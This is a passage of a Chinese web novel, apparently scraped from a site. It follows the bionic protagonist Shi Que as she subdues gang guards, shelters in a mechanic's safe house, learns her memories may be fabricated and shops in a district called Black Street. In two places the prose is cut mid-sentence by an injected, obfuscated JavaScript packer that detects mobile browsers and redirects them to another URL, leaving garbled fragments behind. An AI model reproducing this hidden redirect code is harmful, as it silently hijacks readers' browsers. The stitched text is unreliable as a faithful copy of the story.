这些声音遮盖了时却移动发出的声响。如同幽灵般,借着密密匝匝的树木和灌木丛遮挡,她来到一名巡逻人的斜后方,距离对方仅有几步距离。 “谁!” 其中一名巡逻人反应果断,朝头盔所在处连开数枪,这反而给时却创造了好机会。 她举枪,叠着开枪巡逻人的枪声,往就近另一巡逻人的小腿射击,在对方的惨叫声里自灌木丛中扑出,扣住那另一巡逻人的咽喉,拽过他挡住自己,再朝开枪巡逻人的大腿射击。 一击便中。 在开枪巡逻人也加入惨叫套餐时,她飞快地拖着手里的倒霉蛋闪入灌木丛,再一手刀将其击晕。 做完这一切,可以稍作喘息了,她拍拍晕过去的倒霉蛋的胸背部,发现其在战术马甲的前后各插有块防弹板。 果然是进行了厚重的防弹穿着,所以才会那些不舒服的小动作。幸亏没浪费子弹往腹部和后背打。 暂时没空搜身,她遗憾地看了一眼满身富贵装备的俘虏,压下蠢蠢欲动的搜刮心思,扔开对方。 另一边,交谈二人组也不是死的,自然发现情况不妙。 只是时却动作太快,他们此前又是较为懈怠的状态,注意力涣散,因而几乎可以说是翻了大车,眼睁睁看一切发生,自己人转眼被拿下二血。 等反应过来,交谈二人组的男人慌忙看边上的女人一眼,机灵地拔腿跑进保安亭内,试图用对讲机呼叫救援,只得到尖锐的杂音。 男人抢了联系增援的角色,交谈二人组中的女人便只得接受处理保安亭外的事情了。 此前,开枪巡逻人被时却击中了腿,那子弹实际擦过了他的大动脉。他那会叫得惨,不仅是因为疼痛和惊吓,还有部分是见到了血液喷涌而出,瞬间染暗晕湿裤管的景象。 他哆嗦着尽力团了附近的衣料死死抵压住伤口,涕泗横流地往保安亭方向爬,边爬边大声哀叫,在地上留下可怖的凌乱血痕。 女人朝保安亭方向啐了一口,上前踹他:“别吵!” 她烦躁地摸出管速合剂丢到这不争气的新人身上,打量了一下绿化带内普遍间距不大的树木们,干脆地将身上大件的装备全卸下,通过窗户丢进保安亭内,双手持手枪走入绿化带。 门附近的路灯不多,光线昏暗。空气凝滞、焦灼,仅有她如同拉风箱般的呼吸声,以及脚下树枝断裂的声音清晰可闻。 她身体一扭,绕过最近一棵需两名成年人才能合抱的大树,猛地抬手—— 树后空空如也。 夜风吹过,树影晃动,树叶仿佛连成张遮天的网,鬼魅般朝女人压下。没来得及松口气,一包黑影被抛入这遮天网与她之间,从左侧砸过来。 女人紧绷的神经瞬间断裂,抬手举枪,连开数下。 那包黑影落在草地上,发出微小的噗一声。她下意识去看,只见那黑影有数条朝外延展的部分。 那是……两只缠在一起的手套?! 就在此刻,时却由女人右侧的另一棵树后探出,左手持枪,一枪打在其左手大臂。 女人吃痛,枪落地,不过反应很快,立即右手抽出腰侧匕首,拧腰转向,朝时却刺去。 时却闪身躲过,左手格开女人持匕的右手,顺势退开半步。确保浑身上下再没有与女人接触部位的瞬间,她右手持电击器往女人颈部一送,直接将其电晕。 很好,还剩一个。时却想。 丢下昏迷的手下败将,她回过头去找被匆忙藏在附近的中枪巡逻人,解下他的所有装备装到自己身上,持步枪返回保安亭附近。 眼熟的开枪巡逻人倒在血泊中,昏迷不醒;唯一能称道的是,在失去意识前,他到底将速合剂涂在了枪伤上,大概还是能捡回一条命。 保安亭内,唯一幸存的男人还在满头大汗地鼓捣对讲机。 时却停在安全距离外,手臂肌肉鼓起,在高速鼓动的心跳声里牢牢握枪瞄准男人的头,长长地吹了声响亮的口哨。 于对方惊恐的目光中勾起嘴角,她扯扯嘴角:“晚上好,要命的话就别动。” 8. 测试 六个人并排躺在保安亭外,两个死的,四个昏迷并遭五花大绑的。 沈司奥骑摩托过来,就见时却在这几人之间兴致勃勃地搜身,左扔出个弹匣,右丢出把刀,不亦乐乎。越野背包竖在旁边,鼓囊得像个快要涨破的气球。 他停好车,花两秒钟斟酌用词,道:“你吓晕那个男的后就赶我去拿车,我忘记告诉你一件事。” “什么?”时却回头,脸上挂着如梦似幻的笑容。 “蝎子的东西上都有定位,没时间拆了……” 笑容瞬间消失得无影无踪。“一个都不能留?” “很遗憾,一个都不行,”沈司奥语气坚定。 时却只好丢掉身上的两把步枪三把手枪四个匕首五盒弹匣,怀抱最后一丝希望拍拍穿在夹克内的,还没穿热乎的战术马甲。 她还特意拿夹克挡住了上面的蝎子图案呢! “穿的总能留着吧,蝎子总不会往这玩意上也弄个定位器?” 沈司奥静静看她,不说话。 时却痛心疾首地脱下马甲,往最后一个被吓晕的没用男人脸上一丢,钻入绿化带,凭记忆找回被丢掉的旧装备。 蝎子到底是什么新品种穷鬼守财奴!狗吗?屁大点东西都要滋泡尿标记,啊? 她回到保安亭边,沈司奥正翻看到蝎子四人组里的第三个。她打开越野背包,往外掏原本以为是战利品的各种东西,心痛得几乎无法呼吸。 沈司奥抬眼:“你下手很利索。”顿了顿,又道:“我以为对你来说,直接杀了会更容易。” 当然会更容易,那样做的话,不仅很快,风险也会低上许多。 可上辈子的一切还历历在目,她还不想这么快变成杀人犯,尤其是在一个未成年面前杀人。 ……呃,虽然最开始也是这未成年表示,你要不把人嘎了吧。 时却双手交叉抱胸:“想要死的,下次说得再坚定点。” 沈司奥往保安亭里走。“不,的确是让他们活着比较好,不会得罪蝎子,还能多条路走。” “什么路?” 他不知操作了什么,栅栏门转动,打开为恰好足够摩托通行的角度。 “和蜜桃一样,蝎子也要搬迁,并也会有偿带人去往十二区。不过,对于蝎子的‘有偿’大多情况下不是收钱,而是要求随行者出力。我找个掮客帮忙问问,看他们还缺不缺人。” “很多变异的动植物只会侵扰人少的队伍,和蝎子一起走,能更快到达十二区,安全性也更高。” 时却倒是无所谓:“随你安排。” 这回轮到熟悉地形的沈司奥坐前座,二人驾驶摩托离开蜜桃。 “保险起见,我们走偏僻些的小路。”沈司奥说。 于是摩托车嗡鸣着,驶入一条又一条七拐八弯的羊肠道,再拐进笔直的公路。 不知沈司奥怎么选择的路线,大约十几分钟的时间里,周遭无车也无人。在被驾驶声打破了静谧的夜幕里,于昏黄路灯的照映下,只有数不清的行道树连成线,射向未知的远方。 当然了,蜜桃不可能开在荒无人烟的郊区,所以片刻后,民居和商铺还是逐渐密集起来。 十三区给时却的感觉类似萧条的二三线城市。并且,和之前在蜜桃看到的建筑相同,她看到的无论平房还是楼宇,绝大多数为无窗建筑。 与此同时,人迹罕见的现象仍没有得到改善。偶尔,路口处能见到被塞得满满当当的垃圾桶,垃圾桶的周侧堆放着大量无人清理的多余垃圾。野猫和野狗在这些垃圾中或各自为政地翻找,或剑拔弩张地撕咬。 若摩托碾过它们附近,它们会默契地停下当前动作,喉咙中发出低吼,摆出警戒姿势,用自己绿莹莹的野兽眼睛,盯着这个两轮怪物和其上的乘员靠近再远去。 转过几个路口,隐约有警笛呜噫呜噫的声音。又片刻,二人和七八辆警车不期而遇。 夜风呼呼扬起时却的落在肩头的发丝,她回头看警车朝着蜜桃所在的方向远去,不知为何,没有觉得压抑或惊惧,反而感到莫名的刺激与一丝快意。 ……她不会是什么潜在的暴力狂吧? 为转移注意,她戳前面的人:“聊聊天呗。离到你那安全屋还有多久?” “十五分钟。” “我后边露脸了,那门附近有监控吗?” “有,不过我刚删掉了拍到我们的画面。” “蝎子不会来追吧?”那可就刺激了。 “……我听着你还挺跃跃欲试,”沈司奥无奈地偏头瞧时却一眼,“不会,他们今晚忙得很,况且那四个人还能喘气,又没死。” 马路收窄,商铺变得稀疏少见,摩托驶入更破旧的城区,在羊肠小巷中七拐八弯。路两旁,有窗建筑的数量逐渐变多,均大多看上去有不小年头了,说是危房也不冤枉。 时却突然道:“你消息灵通,技能多,蜜桃还和蝎子有仇,这样还没法搭上蝎子?” 车速减缓。 “蝎子自己养了机械师。而且,对他们这种大组织而言,在区外需要防备和对抗的,只有变异动植物,这种情况下机械师排不上什么用场——到了。” 连过两个急转弯,沈司奥刹车,停在数栋看上去随时可能倒塌的住宅楼前。时却看腕上的智能终端,凌晨五点半,正常人多还沉浸梦乡的时间。 二人走入其中一栋楼。这栋楼是无窗建筑,不过内部破旧得连电梯都没有,家家户户还都是时却很熟悉的那种防盗门样式。沈司奥边引路边道:“就在二楼,出什么事也好跑。” ……考虑这么周到的哦。 时却比较希望这个“安全屋”名副其实,事情不会发展到那个程度。毕竟她跑起来肯定飞毛腿般,沈司奥就不一定了。 二人踏入安全屋的门。 这是个面积尚可的三室一厅,三个房间都关着门,触目所及的墙壁都是白花花一片,半个窗子也没有。除此之外,摆在地垫前的单双拖鞋、开放式厨房里沥水碗架里仅插有的一双筷子、客厅茶几上数量仅为一的水杯,都昭示了此处主人是个单身汉。 沈司奥从鞋柜里翻出双一次性拖鞋,撕去包装,放在进门的地垫前。“你还剩多少电量?” “20%。” 时却换上拖鞋。这种感觉挺奇怪的,这所谓安全屋里的氛围太平和,她几乎像是个来做客的友人。 “情趣型以月为单位充电,你这个耗能速率很不正常。先充电。” 沈司奥揉揉眼睛,坐到客厅的沙发上,拿过一个抱枕垫在腰后,在茶几边上摆出他的工作台,从茶几自带的小柜子里摸出根电线,看也不看便送进沙发边上的插座里,然后招呼时却露出接入口,好进行充电。 完全开启了“回到了熟悉地盘”模式。 时却坐到沈司奥边上,露出接入口,在接入电线时选择同意充电,调出信息界面看了一眼: 【机体状态:尚可(?) 剩余电量:20%(充电中) 当前功能模块:①入伍新兵、②性技巧大师2.0】 她等了一会,没有什么特殊的事情发生,随手解下腰间的电击器,也给其充上电。 看来充电状态不会给她造成什么影响。 沈司奥从衣服里拉出项链,那项链上带有一个圆形的相片盒。他举起相片盒往时却眼前一递,手指摸索两下相片盒的表面。 熟悉的屏幕和键盘浮现。 时却反应过来:“呃,不用特意露出你的终端,我没有很感兴趣。” 沈司奥睨她,坐回去。“我每次用你都会盯上几秒。” 换句话说,几次偷窥都被察觉了。尴尬之下,时却面不改色地乱找话题:“李哥的终端也能像你这样玩吗?” “他的只能扩展出5英寸左右的投影,主要用于娱乐和方便进行复杂功能的操作;我的终端能做更多事情。这和理发师用的剪刀特别贵是一个道理。” 他敲了会键盘,道:“我删掉了蜜桃仓库系统里储存的你的相貌。现在,来看看你这张脸还需要不要作特殊处理吧?” 浮在空中的屏幕体积扩大为原来的五六倍,多张人脸呈矩阵状排列于其上,同时一只眼睛浮现在屏幕侧边,对时却快速眨下。 咔嚓,一声拍照独有的快门响动。 沈司奥解释,这是在检测时却的长相是否属于会被重复使用的模版。他们等了一会,屏幕中心弹窗: [未找到相似程度大于10%的结果] “看来你的脸是定制款,”沈司奥道,“这是好事,不需要对这部分进行调整了。” 时却摸了摸脸。她还记得这具身体的出厂信息,关联到十区一个名为洛双的机械师。 她双手支在下巴上,有些出神。 等到十二区呆上一阵后,她熟悉了这个世界,就会在合适的时机找到洛双,确认这具身体的来历。如果没有什么特殊的问题…… 上辈子的时却是在大城市里漂泊无依的社畜,只想有个自己的小家,日复一日按部就班地过完一生。 这辈子……情况不差,她很强壮,约莫随便找个地方就能很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959995|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好地安顿下来,平静地过自己的小日子。 * 沈司奥问时却拿走了李哥的智能终端,说要重置后再还给她,又道想检测看看她的硬件型号。 时却自然答应。 检测过程是自动进行的,沈司奥点开个类似应用程序的东西,屏幕上就出现了正在检测的进度条。 他没干坐着等,拿起水杯到厨房里洗涮一番,泡了杯热牛奶,边走边饮,喝得唇上留下一圈淡淡的白印。 检测结果跳出,他目光往屏幕那一落,顿时呛了个惊天动地,好悬没喷到时却身上。 屏幕上列出有长串名目。除以“仿真xx”等一看就是拟人器官的东西之外,所有尾缀是“感应器”和“装置”的项目,后面跟的全是相同文字。 [非标准件,无法判别] 时却其实也有点想喝牛奶,不渴也不饿,单纯就是馋。她抽几张纸递给沈司奥,后者看也不看接过,用力地胡乱擦了擦嘴角,眉头皱得能夹死只蚊子。 “有什么问题?” 沈司奥团起手中的纸丢进垃圾篓里,脸色稍扭曲,表情和社畜得知公司从956变007,还要减薪20%时的模样差不多。 “如果你身上有非标准件需要维修或养护,我得提前了解清楚它。” 他这么一说,时却明白了,也感觉有些棘手。“我得在正常状态下,分部位把自己拆给你研究?” “对,而且会很花很多时间。大概一个月。” “从十三区到十二区要花多长时间?” “和蝎子走的话,大概十天,”沈司奥道,“如果我们自己走,两周吧,不少欺软怕硬的变异动植物都会来骚扰,会很烦。” 这话一说,时却的面色也扭曲了。 且不说两者的时间差,以及二人到了十二区就要散伙的问题,用脚指头想也知道,在防护罩外拆卸这具身体的零件,需要承担多大风险。 “那些非标件能替换吗?换成标准件?” 沈司奥直言不讳:“如果要确保不影响你的机能,需要作很多尝试,我没钱,你有?” 时却当然没有,在二人组合里,她才是出力换饭吃的那个。 两个穷鬼面面相觑。 他们进一步的商讨结果是——感觉哪里容易出事就先搞哪里。养护就先别提了,这两天内,挑二人都在的时间,由沈司奥优先拆看觉得容易出故障的部位。 “也还是有好消息的,”沈司奥疲惫地揉揉太阳穴,“你的仿真器官都很高级,受伤不要紧,只要不深到见骨,就和正常人没什么两样。你也可以正常吃喝,吃喝下去的东西会转为极其微量的电能。” 看他揉太阳穴,时却想起脑袋上还顶着恶心的蜜桃标记呢,也点点自己的太阳穴。“什么时候把这个去了?” “六个小时后吧,女士,我是纯人类,需要睡眠,”沈司奥说着便打了个哈欠,“蜜桃的专属标记之下还有代数标记,到时候弄块仿真皮肤遮上就行。嗯,对了,得优先给你做个三观测试。” “……什么测试?” “三观测试。仿生人的三观是制造者给的,我看你遣词用句没什么问题,对大多东西也不算陌生,三观里的世界观应该是以现代背景为基础塑造的。” 时却呆愣一瞬,反应过来,瞪大了眼睛。 沈司奥轻咳一声,看都不看时却,丢下一声我去睡了,逃也似的径直跑进主卧,仿佛半点没有空投炸弹的自觉。 他绝对是故意的。 时却完全被炸了个正着,脑子乱成一锅粥,僵在原地。 回过神,她立即开始检阅记忆。 从咿呀学语,到和父母春游时闻到的桂花香;从与发小牵着手上下学时对方掌心的温软触觉,到高三夏天窗外的蝉鸣声;从刚工作时租的地下室里挥之不去的发霉味道,到办公间里浓郁的咖啡香气。 这些片段都那么真实,瞧不出半点虚假意味。 她打开信息界面,面无表情地看电量随时间流逝一点点往上跳。 三个小时后,电量数字跳到100%的刹那,她扯掉电线,在客厅里大步往返走,胸膛鼓动得越来越快,只想找点什么东西捏碎或打爆,好发泄怒气。 这种冲动最后止于一个巴掌,她自己打的自己。 就算她的过去真的是人为编造的虚假记忆,那她如今也实实在在的,有意识的活着。 捋清思绪,时却重新坐下,在意识中打开入伍新兵。 ……当下不是纠结这些东西的好时机,先逃到十二区再说。 9. 次日 沈司奥蹑手蹑脚地靠近客厅,做好看到一片狼藉的准备。 这个屋子的隔音效果比较好,加上他昨晚属实太累,回房后关上门,竖起耳朵听了半天,没听见任何动静后就直接睡了过去,因此全然没印象后来是否有发生什么打砸事件。 ……昨晚,他的确是故意暗示时却,她的记忆有问题。这是早晚都要面对的事情,比起到了区外再面对,不如在相对安全的环境下得知。 若一名自信的个体被告知脑中对于世界的认知,其实是经人编造得来的虚幻故事,Ta会作何感想? 沈司奥很快得到了答案。答案是毫发无损的客厅,和显然极为不爽的异常仿生人。 “大机械师,睡得挺好嘛。” “还不错。”他回答,“你看上去也还不错。” 时却瞪他,动了动嘴唇,似乎想要吐出点什么刻薄话。沈司奥打起精神,做好准备让她发泄怨气。 见他小心翼翼觑自己,时却一口气不上不下地顶在心口。 仔细想想,也不难推断出为什么他选这个时候告诉自己这些,这位小弟弟估计是怕自己到了防护罩外发癫。 “……算了,”时却翻白眼,“不说第二遍啊。快点过来,该干嘛干嘛。” “我还没刷牙洗脸,”沈司奥眨眨眼睛,“也还没吃饭,再等一会吧?” “……”这小子绝对是得寸进尺了。 于是沈司奥洗漱完,慢条斯理做起饭。 他先炒了几个蛋捞起备用,又剁了不少肉和菜下锅,三两下炒香,再从冰箱里摸出半锅剩饭,和蛋一起重新倒回锅里,不多时便做好一锅大杂烩炒饭。 摆上两只碗和两双筷子,他很自然地问时却要不要吃。 想着不吃白不吃,反应过来时,时却仅凭一己之力就消灭了三分之二的炒饭,沈司奥甚至一碗都还没吃完。 正所谓吃人嘴短,吃食旋风下肚,她也不好意思催沈司奥了,等他吃完后,很自觉地让他去调试工作台,自己则收拾碗筷厨余,乖乖去洗碗,下楼丢垃圾。 随后,她去照了一下镜子,嫌这具身体的头发都落肩了,打起架来可能会被人抓住,索性自己抄剪刀,打算剪成板寸。 沈司奥工作台调试到一半,想活动活动,在屋子里乱走,好巧不巧路过浴室,见她要给自己搞新造型,很有眼力见地问要不要帮忙。 送上门的助手不要白不要,时却叫他再拿个镜子来,站在自己身后举着。头发剪好后,她左打量右打量,只觉得给这具身体捏脸的人真是有点东西。 镜子里的女人,虽然五官组合起来一脸凶相,还被理成了板寸,却半点不让人误会其性别,一看便知是个帅气的大姐姐。 中午一点,工作台调试完成。沈司奥建议说先进行三观测试比较好,时却没有意见。 测试过程大概有半个小时,主要是做选择题加问答的方式,选择题是在沈司奥弄出的屏幕上做的,问答则是沈司奥问,时却答。 在从“你认为以下几类物品哪种可以作为货币”,答到“你认为领袖应该是用以下哪几个词形容”,再到“你认为人类有几种性别”后,沈司奥告知时却,他昨天猜的没错,制造时却的机械师给予她的三观,大概是基于生活在2020-2024年,成长在一二线城市里,受过高等教育的成年女性而设计的。 时却毫不意外这个结果,含混地表示自己知道了。 接着是拆掉蜜桃标记。 这个过程很快,快到时却举着镜子,看沈司奥从工作台上扯出个类似美容仪一样的东西,按在她太阳穴上几分钟再移开,她太阳穴上原先闪着粉光的桃子轮廓,就消失得无影无踪了,露出底下的“VII”字样。 沈司奥在这字样上极为克制地触碰一下,说:“为了和原皮保持一致,制造遮盖这个‘VII’的假皮肤需要特殊材料;此外,我们还需要采购些东西。我还有事情要做,得麻烦你出去跑一趟。” 说罢,他拿出从时却这要走的智能终端,说在保留与摩托关联解锁的前提下,将里边其他东西都重置了,并大概教了该如何使用。 他还将时却的拟人虹膜设置为了终端的解锁方式,也不知道怎么做到的。 基本上,智能终端的操作与智能手环差不多,其扩展投影的操作和触屏手机差不多。不过,手机需要插入手机卡后才能联网,智能终端则一般需要在绑定成人身份的账户登录后,才可以正常使用。 沈司奥说以前李哥的账户时却肯定没法再用,她又是个黑户,所以在解决身份问题前,为了方便时却使用,他干脆将这个终端设置为了自己的亲属关联设备。 本来,“亲属关联设备”这个功能是为方便未成年人使用终端而设计的。 “等等,”时却问号脸打断,“你不是未成年人?未成年人还能给别的未成年人……?” 沈司奥一拍脑门:“忘了你的世界观是百年前的了。记住,如今十六岁就是成年人了,我十七了,所以是成年人。这样,你出去后,如果说错了什么常识,有人问起,你就说自己有III型辐射病,脑子不好,经常忘东西,不记得常识。” “……”意思我是个有病的半傻子呗。 拿人手软,时却没法反抗,屈辱地接受了这个设定。 二人互相加了终端好友。沈司奥写好采购清单,以聊天的形式发到时却的终端上,说其中有些东西商铺不会接受线上支付,又数了些现金给时却,还找来顶宽松的黑色针织帽,用于遮盖她太阳穴上的字。 那黑色针织帽是样式最简单的男款,上面还绣有沈司奥的名字。 时却意味不明地看了沈司一眼,拿着帽子去试戴。她仔细地照镜子,只觉得镜中戴上针织帽的自己的脸看上去更凶恶了几分,简直能去治小儿夜哭——通过吓晕小孩子的方式。 “路上小心,这几天外面治安不好,”年轻的机械师站在门口,露出浅淡的微笑道,“欢迎来到十三区,希望你的探索之旅顺利。” 时却摆摆手,出门。 冬日中午的太阳和摆设差不多,带来的暖意有限。 她没立即出发,坐在摩托上抬头瞅了好一会天幕,盯到眼睛都发酸,愣是没发现一点防护罩的踪影。 这也太透明了。 不过可以理解,防护罩要设置为有色的,先不提特定波长的光透过的问题,居民进门被生活在无窗的建筑里,出门抬头连天都看不见,久而久之,不集体产生心理问题才怪。 伸了个懒腰,时却一通摆弄终端,试图上网搜寻点这个世界的常识。 让人失望的是,这个世界网络上的信息极为有限且单一。 百科这种东西是没有的,搜索引擎也是没有的,浏览器登录上去,直接给分好了数个板块,例如娱乐、行政办事、地图导航、日历等等。 其中,娱乐板块里甚至只有一个游戏的实机视频,那就是“第二人生”,李哥之前看过的擦边黄油。 ……因为是废土辐射背景,所以文娱这么贫瘠吗? 时却飞快找了几个关于第二人生的简短解说,然后发现是自己误会了。第二人生并不是她先入为主以为的黄油。 这是个被设计为能容纳当今世界所有人口的虚拟社区。玩家戴上全息头盔,躺入维生舱后,即可凭借公民身份证号登录第二人生,在第二人生的不同板块里进行任意娱乐休闲活动,包括但不限于玩各类游戏、看书、运动、在同一板块里进行社交等。 只不过,在第二人生里发生的一切都只是作用于大脑意识上的,例如玩家可以进入运动板块跑马拉松,可现实中的身体不会随之动作,也不会得到锻炼。 据一个播放量和点赞量都很高的视频说,他认为最完美的生活是,在现实中挣一天的钱,在第二人生里玩三天。 尽管知道第二人生里可以阅读书籍,但这对时却一个仿生人来说又没多大作用。她暂时没了兴趣,转而去看行政办事板块。 行政办事板块里,倒是有透露出关于这个社会运转模式的零星线索。 例如,一项名为“人体护身符更换指南”的事项提及,护身符存在无法准确估量的有效期,因此必须安装在智能终端内部,智能终端会在检测到护身符即将失效的72h前对佩戴者进行提醒,此时佩戴者应在终端上预订新护身符,并在72h内到定点进行护身符的更换。 该指南末尾还提到,各区护身符的常规储量有限,不推荐等终端报警了才更换护身符,而是推荐居住在有窗建筑内的居民每两个月更换一次,居住在无窗建筑内的居民每三个月更换一次。同时,官方呼吁各企业将承担护身符更换费用这一项目,列为基础的员工福利。 同时,一项名为“仿生物护身符更换指南”的事项提及,仿生物体内的护身符区别于人体护身符,只要为仿生物充电,护身符即能运转起效。此类护身符一般不需更换,只一种情况除外: 护身符被从仿生物体内取出,短期内给人应急用。 指南强调,如存在上述情形,应在该护身符离体后的15天内,携带该护身符到定点进行回收。此类护身符超出15天后将反过来成为辐射体,绝不能继续使用。 根据这两指南,结合昨夜蝎子打劫蜜桃的行动,时却推测,蝎子是为给蜜桃一个教训,同时给自己人储备应急的护身符。 埋进行政办事板块里又翻找一会,时却没有更多收获。毕竟这是办事板块,不是历史课本。 她尝试在地图搜寻类似书店之类的地方,没找到,导航界面反而跳出小广告,引导她去体验第二人生的相关板块。 ……联合政体故意的吗?在这个废土辐射的背景下,研发出第二人生这样的东西来,还使现实较虚拟更为信息闭塞。 时却退出行政办事板块,去看采购清单。 上面需要购置的东西大致分为压缩食物、机械零件、野外用品、驱动摩托用的压缩能源四大类,每样东西都标注了该在哪里购买,是否该用现金购买,以及相关备注。 压缩食物、野 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959996|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外用品和压缩能源的购买地距离安全屋较近,机械零件的购买地多集中在个叫‘黑街’的地方。 一一确认购买地的路线后,时却上路,打算先去把机械零件购置全了,回程时再买其余的东西。 和沈司奥所说的“大多普通居民都离开了”的情况一致,即使白天,每条街上也没几个人,乍一看,数量甚至不比昨晚见到的野猫野狗多。车也很稀少,大多是实用为主的货车或越野车。 商铺就更不用提了,还开门的十个手指都数得过来。 良好的路况让时却很快到达黑街。 黑街虽然叫“街”,实际上指的是一片地区,包括几条主干道和多条七拐八弯的小巷,里头的商铺十家有八家还开着门,街上的人比大路多不少。 因着人多,时却下了车,推着摩托走,期间感到不少意味不明的目光落在身上。她找到一家挂着“五金杂货”招牌的小店,停车进门。 老板是个满脸横肉的中年人,右耳上挂着根香烟,手持把鸡毛掸子,旁边站着个I代仿生人。 老板操着鸡毛掸子,掸得灰尘四起,瞟时却:“第一次来黑街吧,多嘴说一句啊,你这车就这么放着,说不准回头就不见了。” 说话间,他露出嘴里镶嵌的两颗金色门牙。 时却打开终端的隐私模式——这能让她的投影从背面和侧面看呈黑色不透明状——并调出采购清单,清清嗓子,对着上面的文字念: “沈司奥让我来的。以及,他在摩托上安了防盗模块,如果你那两个侄子——” 接连的惨叫打断她的话音。 店门口,两个尖嘴猴腮的年轻人倒在时却的摩托边上,口吐白沫,浑身痉挛。附近的店铺里的人纷纷探头出来看,路过行人倒是很淡定,直接若无其事绕过两人。 “——给我的新同伴找事,就要在地上瘫几个小时了。” 手里的鸡毛掸子啪的一声摔在柜台玻璃上,金牙老板以川剧变脸的速度绽出热情笑容:“哎呀,大妹子,你这怎么不早说呢!哦对,你呀,叫我老金就行。” “咱侄子下手太快。”时却笑道,向老金描述需要的东西。 老金点头哈腰,说有的要找找,忙不迭给她塞了香烟和火机,让稍等片刻。 他搬来两梯子,对仿生人下了命令,一人一仿生人在店里爬上爬下,叮叮咣咣的,四处拉抽屉翻柜子。 时却对老金的前后态度的转变很感兴趣,随手将香烟挂在右耳上,把玩火机,道:“他那肩不能扛手不能提的样子,值得你这么怕啊?” “瞧您说的,”老金在梯子上扭过头,嘿嘿直笑,“我这不是待客应有的态度嘛。” 他找齐东西,报了价,价钱比清单上的低15%。时却给钱后,又慢条斯理抽出几张100面值的纸钞放在柜台上。 嘴里喊着大妹子真是太客气了不需要这样的,老金手上动作利索地来抓。 时却按住纸钞。 “我脑子不好,III型辐射病,和沈司奥也才刚刚认识。向您打听打听他,您稍微说上三言两语,这就是报酬,成么?” 老金脸上神情变换几番,搓搓手,道:“只说街上人都懂的,行吗?” “可以。” 据老金说,沈司奥自小不在十三区长大,在一区和他父母一块生活,大概一年前因父母病逝才回的十三区。 他爷爷在蜜桃干了很多年的机械师,偶尔也会为黑街的商铺供货,或解决些带灰色性质的麻烦,在黑街的声望不浅。几个月前,他爷爷因病去世,沈司奥就顺势接过了他爷爷的所有关系往来。 原本,有个专回收仿生人的商铺看他年轻,想占点便宜,没曾想便宜刚占完的当晚,铺子里只要是能动的仿生人都发了疯,一顿打砸,商铺损失不小。警察过来封掉铺子,查了俩星期,愣是半点没查出什么,只得草草结案。 “出于兴致吧,街上有老机械师私下查了,说九成九就是他干的。”老金取下耳朵上的烟,点上,叼住,“打那后头可就没人敢招惹他了。” “被坑的商铺也不打算再报复,就这么认栽?” “沈司奥那小子的手艺的确不错,便宜,做事利索又可靠。再说了,他还在蜜桃干活呢,报复他岂不是不给蜜桃面子。” “说到蜜桃,他似乎惹了些麻烦。” 老金深深吸一口烟,再吐出烟圈。“就蜜桃准备不管他那档子事嘛,早些时候都传遍了。” “不过么,看在老沈的面子上,也看在他要是顺利找到人组队,平安到了十二区,大家伙还有合作机会的份上,黑街商铺的人会保持原来的态度。做生意嘛,和气生财。” “黑街商铺外,哪些人对他感兴趣?” “缺钱的人呗。”老金嘿嘿笑两声,隔空点一下时却的脑袋。 “不过你戴着它在黑街上打几架,很快,那些人就会再掂量掂量了。” 时却扯扯脑袋上帽子的边沿,手指于绣有沈司奥名字的地方划过,无所谓地耸耸肩。 10. 男孩 临走前,时却向老金打听,若她想打听消息,该去哪里。 “出门左拐有个酒吧,找酒保,他会看情况给你开价,不过特殊时期嘛,他的价钱涨了不少,一次至少这个数。” 老金比了个会让穷鬼心惊胆战的数字。 时却点点太阳穴:“老金,实话和你说吧,我那个病讨厌得很,有时候连常识都记不住,可能走两步出去就忘了。我想问的,不是什么有门槛的消息。” 老金愣一下,看上去没有起什么疑心,露出看到新奇玩意的表情,随口道:“那你去外头找几个半大孩子呗,黑街上的孩子什么都清楚,他们难讨生活,都很乐意挣外快。” 时却觉得这个法子可行,半大孩子肯定比成人好糊弄吧。不过前提是,她还得想办法搞点钱。 她身上所有的钱加起来,只稍微超出采购清单里所有东西总价两三百块,没有可以乱花的余地。刚才有钱贿赂老金,还是托老金自己的福,他通过减价来赔罪,反倒让时却手头松动了些。 从店里出来,时却准备往采购清单上的下一家进发。沈司奥不知道是不是故意的,清单上的所有在黑街的采购地连起来,恰好足够让人踏遍大半个黑街。 推着摩托没走两步,一场当街打人事件送上门,主角是两个大汉和一个十一二岁的男孩。 时却留心听了会,似乎是一个大汉被那男孩偷了钱包。 她脑内小灯泡骤亮,心道打架和打听消息,或许能在这把两件事一起办了,反正摩托也不怕被偷,买的东西全锁在后备箱里。 时却抛下车,挤进围观人群。她动作不慢,饶是如此,到达人群内侧时,男孩已差不多被打了个半死,鼻青脸肿的躺在地上,捂着肚子哀哀直叫。 又抬腿迈出半步,时却顿住脚步。她一激灵,似有股冷风突然灌进脑子里,惊异于自己看到了这一切,情绪不能说是完全没起伏,但比想象中来得要小许多。 ……男孩形容凄惨,这种伤势是会让记忆中的自己同情又吓坏,甚至可能直接哭出来的程度。 可她,不夸张地说,此刻虽也觉得男孩可怜,却无疑认为才定下的目标更重要。 说起来,上辈子那些记忆也还不知道是真是假。如果是假的,她该是一个怎样的人? 这时,有人凑近了男孩,是那两名大汉的其中一个。他手里捏着一个皱巴巴的钱包,提腿作势还要踢男孩,时却顾不上想这么多,赶紧上前制止。 “哥们,等等。” 